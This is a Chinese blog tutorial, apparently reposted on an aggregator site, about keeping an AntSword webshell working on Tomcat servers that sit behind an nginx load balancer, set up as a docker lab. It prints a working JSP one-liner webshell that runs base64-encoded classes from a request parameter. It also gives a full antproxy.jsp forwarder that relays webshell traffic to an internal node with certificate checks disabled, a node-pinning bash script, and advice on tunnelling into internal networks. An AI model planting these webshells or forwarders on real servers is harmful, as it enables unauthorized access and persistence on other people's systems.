Nginx反向代理实现负载均衡webshell

这篇具有很好参考价值的文章主要介绍了Nginx反向代理实现负载均衡webshell。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

本实验所用的环境:

问题一:由于nginx采用的反向代理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件

问题二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行我们在执行hostname -i查看当前执行机器的IP时,可以看到IP地址一直在漂移

问题三:当我们需要上传一些较大的工具时,会造成工具无法使用的情况

问题四:由于目标主机不能出外网,想要进一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

一些解决方案:

方案一:关掉其中的一台后端服务器

方案二:在程序执行前先判断要不要执行

方案三:在Web层做一次HTTP流量的转发(重点)


本实验所用的环境:

链接:https://pan.baidu.com/s/17WBxMs3_uIx9pFapwtgK5A?pwd=8848 
提取码:8848

Nginx反向代理实现负载均衡的操作具体可以看:Nginx反向代理实现负载均衡+Keepalive实现高可用-CSDN博客

下面就介绍本次实验

首先还是进入到漏洞所在的环境目录中

/root/AntSword-Labs-master/loadbalance/loadbalance-jsp

拉取环境:

docker-compose up -d

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

可以看到运行了容器

然后可以尝试访问一下这个页面

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

 根据上图可以看出,虽然显示的是http404,但是表示后端的tomcat是可以访问的

然后我们可以查看一下后端的反向代理服务器:
可以进入到两台中的任意一台中去

docker exec -it  dbeefec34893 /bin/bash
root@dbeefec34893:/usr/local/tomcat# 

查看 webapps/ROOT/ant.jsp

cat ant.jsp 
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>

可以看到这里是已经上传的一句话木马,密码是'ant'。

但是需要注意的是8080端口并没有开发,所以我们只能通过nginx来访问

我们可以查看一下nginx文件:

cat nginx/default.conf 
upstream lbspool {
  server lbsnode1:8080;
  server lbsnode2:8080;
}

server {
    listen       80 default_server;
    server_name  _;
    charset utf-8;
    root   /usr/share/nginx/html;
    index index.jsp index.html index.htm;
    location / {
        proxy_pass http://lbspool;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

可以看到这里配置了负载均衡。

那么我们就可以尝试使用蚁剑来连接。

 Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

连接成功后,我们就可以查看所有文件

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

现在我们已经成功的连接到webshell

但是这里还是有一些问题:

问题一:由于nginx采用的反向代理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件

因为我们是反向代理的负载均衡,就存在上传文件出现一台后端服务器上有我们上传的文件,另一台服务器上没有我们上传的文件,出现的结果就是,一旦一台服务器上没有,那么在请求轮到这台服务器的时候,就会报出404的错误,从而影响使用,这也就是一会出现正常,一会出现错误的原因。

就说说两台负载均衡设备都需要有ant.jsp文件,如果仅有一台设备有,一台设备没有,则会出现一次成功,一次失败的效果。

解决方案:

我们需要在每一台节点的相同位置都上传相同内容的WebShell,从而实现无论是轮询到哪台服务器上都可以访问到我们的后端服务器上。

注:实现每一台后端服务器上都有上传的文件,就需要疯狂上传。

问题二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行我们在执行hostname -i查看当前执行机器的IP时,可以看到IP地址一直在漂移

这里因为是使用的轮询的方式,如果使用了权重的方式,就更加的飘忽不定

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

可以做一下的测试,来验证我们的命令是飘忽不定的:

我们可以进入某一个一个容器中:

查看ip add 会发现没有该功能

(1)我们可以更新一下这个apt

 apt-get update

(2)安装net-tools

apt-get install net-tools

 然后我们可以在蚁剑的终端中尝试使用ipconfig

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

就会出现这样一种情况,就是因为我们只给一台服务器上安装了,另外一台没有。

问题三:当我们需要上传一些较大的工具时,会造成工具无法使用的情况

当我们上传一个较大的文件时,由于AntSword上传文件时,采用的是分片上传方式,把一个文件分成了多次HTTP请求发送给目标,造成文件的一部分内容在A这台服务器上,另一部分文件在B这台服务器上,从而使得较大的工具或者文件无法打开或者使用

这里我们用一个比较大的图片作为大文件来验证一下:

比如说下面这个图片,这是2.14MB大小的图片,用来做测试

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

可以看到这里一个2MB的图片就直接上传失败了

但是如果我们上传的图片是刚好能上传的,蚁剑的分片传输可能会将上传的一个图片分片分片到两个服务器中,比如说,我们上传这样一个图片:
Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

我们现在尝试删除这个图片

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

删除完成后,我们试着刷新一下文件

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

看样子确实没有了,那么再刷新一下:
Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

会看到,这个已经被删除的图片又在另一个服务器中出现了

可以多删几次,才能真正删除这个图片。

问题四:由于目标主机不能出外网,想要进一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

这里总结一下:第一个和第三个问题都可以用多次点击来实现,第三种我们可以不使用大文件就只使用小文件工具就可以避免,但是不能进入内网的问题却是致命的,无法解决则相当于攻击失败

一些解决方案:

方案一:关掉其中的一台后端服务器

因为健康检查机制的存在,很快其他的节点很快就会被从nginx池子中踢出去了!

关闭后端其中的一台服务器确实能够解决上述的四种问题,但是这个方案实在是“老寿星上吊---活腻了”,影响业务,还会造成灾难,直接Pass不考虑

综合评价:真实环境下千万不要尝试!!!

方案二:在程序执行前先判断要不要执行

既然无法预测下一次是哪台机器去执行,那我们的shell在执行Payload之前,先判断一下要不要执行不就可以了。

首次按创建一个脚本demo.sh,该脚本是获取我们的后端其中一台服务器的地址,匹配到这台服务器的地址才进行程序的执行,匹配到另一台服务器则不进行程序的执行。

因为没有vim,这里再安装一下vim

apt install vim

编写脚本

vim demo.sh

脚本内容:

#!bin/bash
MYIP=`ifconfig | grep 'inet 172' | awk '{print $2}'`
echo $MYIP
if [$MYIP =="172.22.0.2" ];then
        echo "Node1,i will exec command.\n============\n"
        ifconfig
else    
        echo "Other. Try again."
fi

授权

chmod +x demo.sh

上传该脚本到两台服务器:

[root@centos111 loadbalance-jsp]# docker cp demo.sh dbeefec34893:/tmp
Successfully copied 2.05kB to dbeefec34893:/tmp
[root@centos111 loadbalance-jsp]# docker cp demo.sh b13fa1312a15:/tmp
Successfully copied 2.05kB to b13fa1312a15:/tmp

执行

为了方便测试,我们给另外一台容器也安装ipconfig工具:

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

可以看到我们这样就可以在172.22.0.2时才会执行,其他都会报出Other Try again,

这样就手动的让我们只使用其中一台服务器来执行命令。

注:通过中国蚁剑将demo.sh脚本文件上传到后端的两台服务器上,因为是负载均衡,所以需要疯狂点击上传,也可以在蚁剑上新建文件然后编写脚本,多次点击保存,目的是可以让两个服务器都能成功保存到脚本

这样一来,确实能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,没有一丝美感,另外,大文件上传、HTTP隧道这些问题也没有解决。

综合评价:该方案勉强能用,仅适合在执行命令的时候用,不够优雅。

方案三:在Web层做一次HTTP流量的转发(重点)

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

还记不记得 「PHP Bypass Disable Function」 这个插件,我们在这个插件加载 so 之后,本地启动了一个 httpserver,然后我们用到了 HTTP 层面的流量转发脚本 「antproxy.php」, 我们放在这个场景下看:

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

我们一步一步来看这个图,我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器

首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx

nginx 接到数据包之后,会有两种情况:

我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

再来看红色线,第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

1、创建 antproxy.jsp 脚本

修改转发地址,转向目标node

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.22.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder(); #实例化对象
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024]; #缓冲区
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

为了防止文件分片,我们在蚁剑中新建一个文件: 

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器 

这里只是在一台服务器上新建了,另外一台服务器没有,需要多新建几次,保证两台服务器上都有该文件

然后将脚本内容写入,多保存几次

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

注:必须确保刷新后,两台服务器上的文件大小是一样的 

3、 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

4、 测试执行命令, 查看 IP

Nginx反向代理实现负载均衡webshell,中间件,安全,nginx,负载均衡,java,运维,linux,服务器

可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了

该方案的优点:

1、低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 Plan A 的关服务就没啥区别了

2、流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。

3、适配更多工具

缺点:

该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了。

到这里Nginx的负载均衡的websehll问题就解决了,并且Nginx相关的漏洞也暂时结束了!文章来源地址https://www.toymoban.com/news/detail-759166.html

到了这里,关于Nginx反向代理实现负载均衡webshell的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 如何实现Nginx+Tomcat反向代理与负载均衡

    目录 一、正向代理与反向代理 正向代理 反向代理 二、负载均衡 什么是负载均衡 代码仓库定义 分流策略 权重 least_conn(最少连接) ip_hash(负载均衡模式) fair(第三方负载均衡模式) url_hash(第三方负载均衡模式) 三、Nginx+Tomcat反向代理与负载均衡部署 第一步 关闭防火

    2024年02月12日
    浏览(27)
  • 编译安装Nginx和使用五种算法实现Nginx反向代理负载均衡

    目录 Ubuntu中安装Nginx 概念介绍 负载均衡 几种负载均衡算法 反向代理 环境规划 配置反向代理 加权负载均衡(Weighted Load Balancing) 轮询(Round Robin) IP 哈希(IP Hash) 最少连接(Least Connections) URL 哈希(URL Hash) 想要安装nginx,首先我们需要有一台Ubuntu的虚拟机,然后最好在

    2024年01月25日
    浏览(41)
  • 基于centos7.9通过nginx实现负载均衡以及反向代理

    摘要:负载均衡: 负载均衡是一种技术,用于在多个服务器之间分发传入的网络流量,以平衡服务器的负载,提高系统的可用性和性能。当您有多台服务器时,您可以使用负载均衡将请求分发到这些服务器上,从而防止单个服务器过载而影响用户体验。 反向代理: 反向代理

    2024年02月13日
    浏览(31)
  • Nginx 反向代理负载均衡

    Nginx 反向代理负载均衡 普通的负载均衡软件,如 LVS,其实现的功能只是对请求数据包的转发、传递,从负载均衡下的节点服务器来看,接收到的请求还是来自访问负载均衡器的客户端的真实用户;而反向代理就不一样了,反向代理服务器在接收访问用户请求后,会代理用户

    2024年02月03日
    浏览(39)
  • nginx反向代理、负载均衡

         

    2024年02月12日
    浏览(28)
  • nginx负载均衡+反向代理

    最近业务上遇到一个需求,其它系统因业务校验需要调用上级系统进行数据发送或校验,如果上级系统停机维护,其它下级系统发送的http通讯会丢失,还要一次次补发数据,耗费人工与时间。使用nginx+反向代理解决了部分需求。 目标:当服务A停机维护,其它系统会调用服务

    2024年02月08日
    浏览(34)
  • nginx反向代理 负载均衡

    目录 1.反向代理介绍:  2.七层代理和四层代理:   2.1 七层代理:   2.2 四层代理: 3.反向代理web服务器:   3.1 代理服务器配置: 3.2 服务器配置 : 3.3 客户端访问: 3.4 代理不同端口: 4.反向代理动静分离:   4.1  准备:   4.2 代理服务器配置:   4.3 动态服务器配置:

    2024年02月10日
    浏览(34)
  • Nginx反向代理和负载均衡

    ` 正向代理 反向代理 七层反向代理: (基于http协议) http { upstream 服务器组名称 { server IP1:PORT [weight=1 …]; server IP2:PORT; … 调度算法(rr轮询/加权轮询,least_conn最小连接,ip_hash,url_hash,fair); } server { location ~ … { proxy_pass http://服务器组名称; proxy_set_header HosT $host; proxy_set_he

    2024年02月03日
    浏览(73)
  • Nginx反向代理与负载均衡

    代理是在服务器和客户端之间假设的一层服务器,代理将接收客户端的请求并将它转发给服务器,然后将服务端的响应转发给客户端。 不管是正向代理还是反向代理,实现的都是上面的功能。 正向代理,意思是一个位于客户端和原始服务器(origin server)之间的服务器,为了从

    2023年04月26日
    浏览(32)
  • 06、Nginx反向代理与负载均衡

    反向代理 : 这种代理方式叫做,隧道代理。有性能瓶颈,因为所有的数据都经过Nginx,所以Nginx服务器的性能至关重要 负载均衡 : 把请求,按照一定算法规则,分配给多台业务服务器(即使其中一个坏了/维护升级,还有其他服务器可以继续提供服务) 反向代理+负载均衡:

    2024年02月12日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包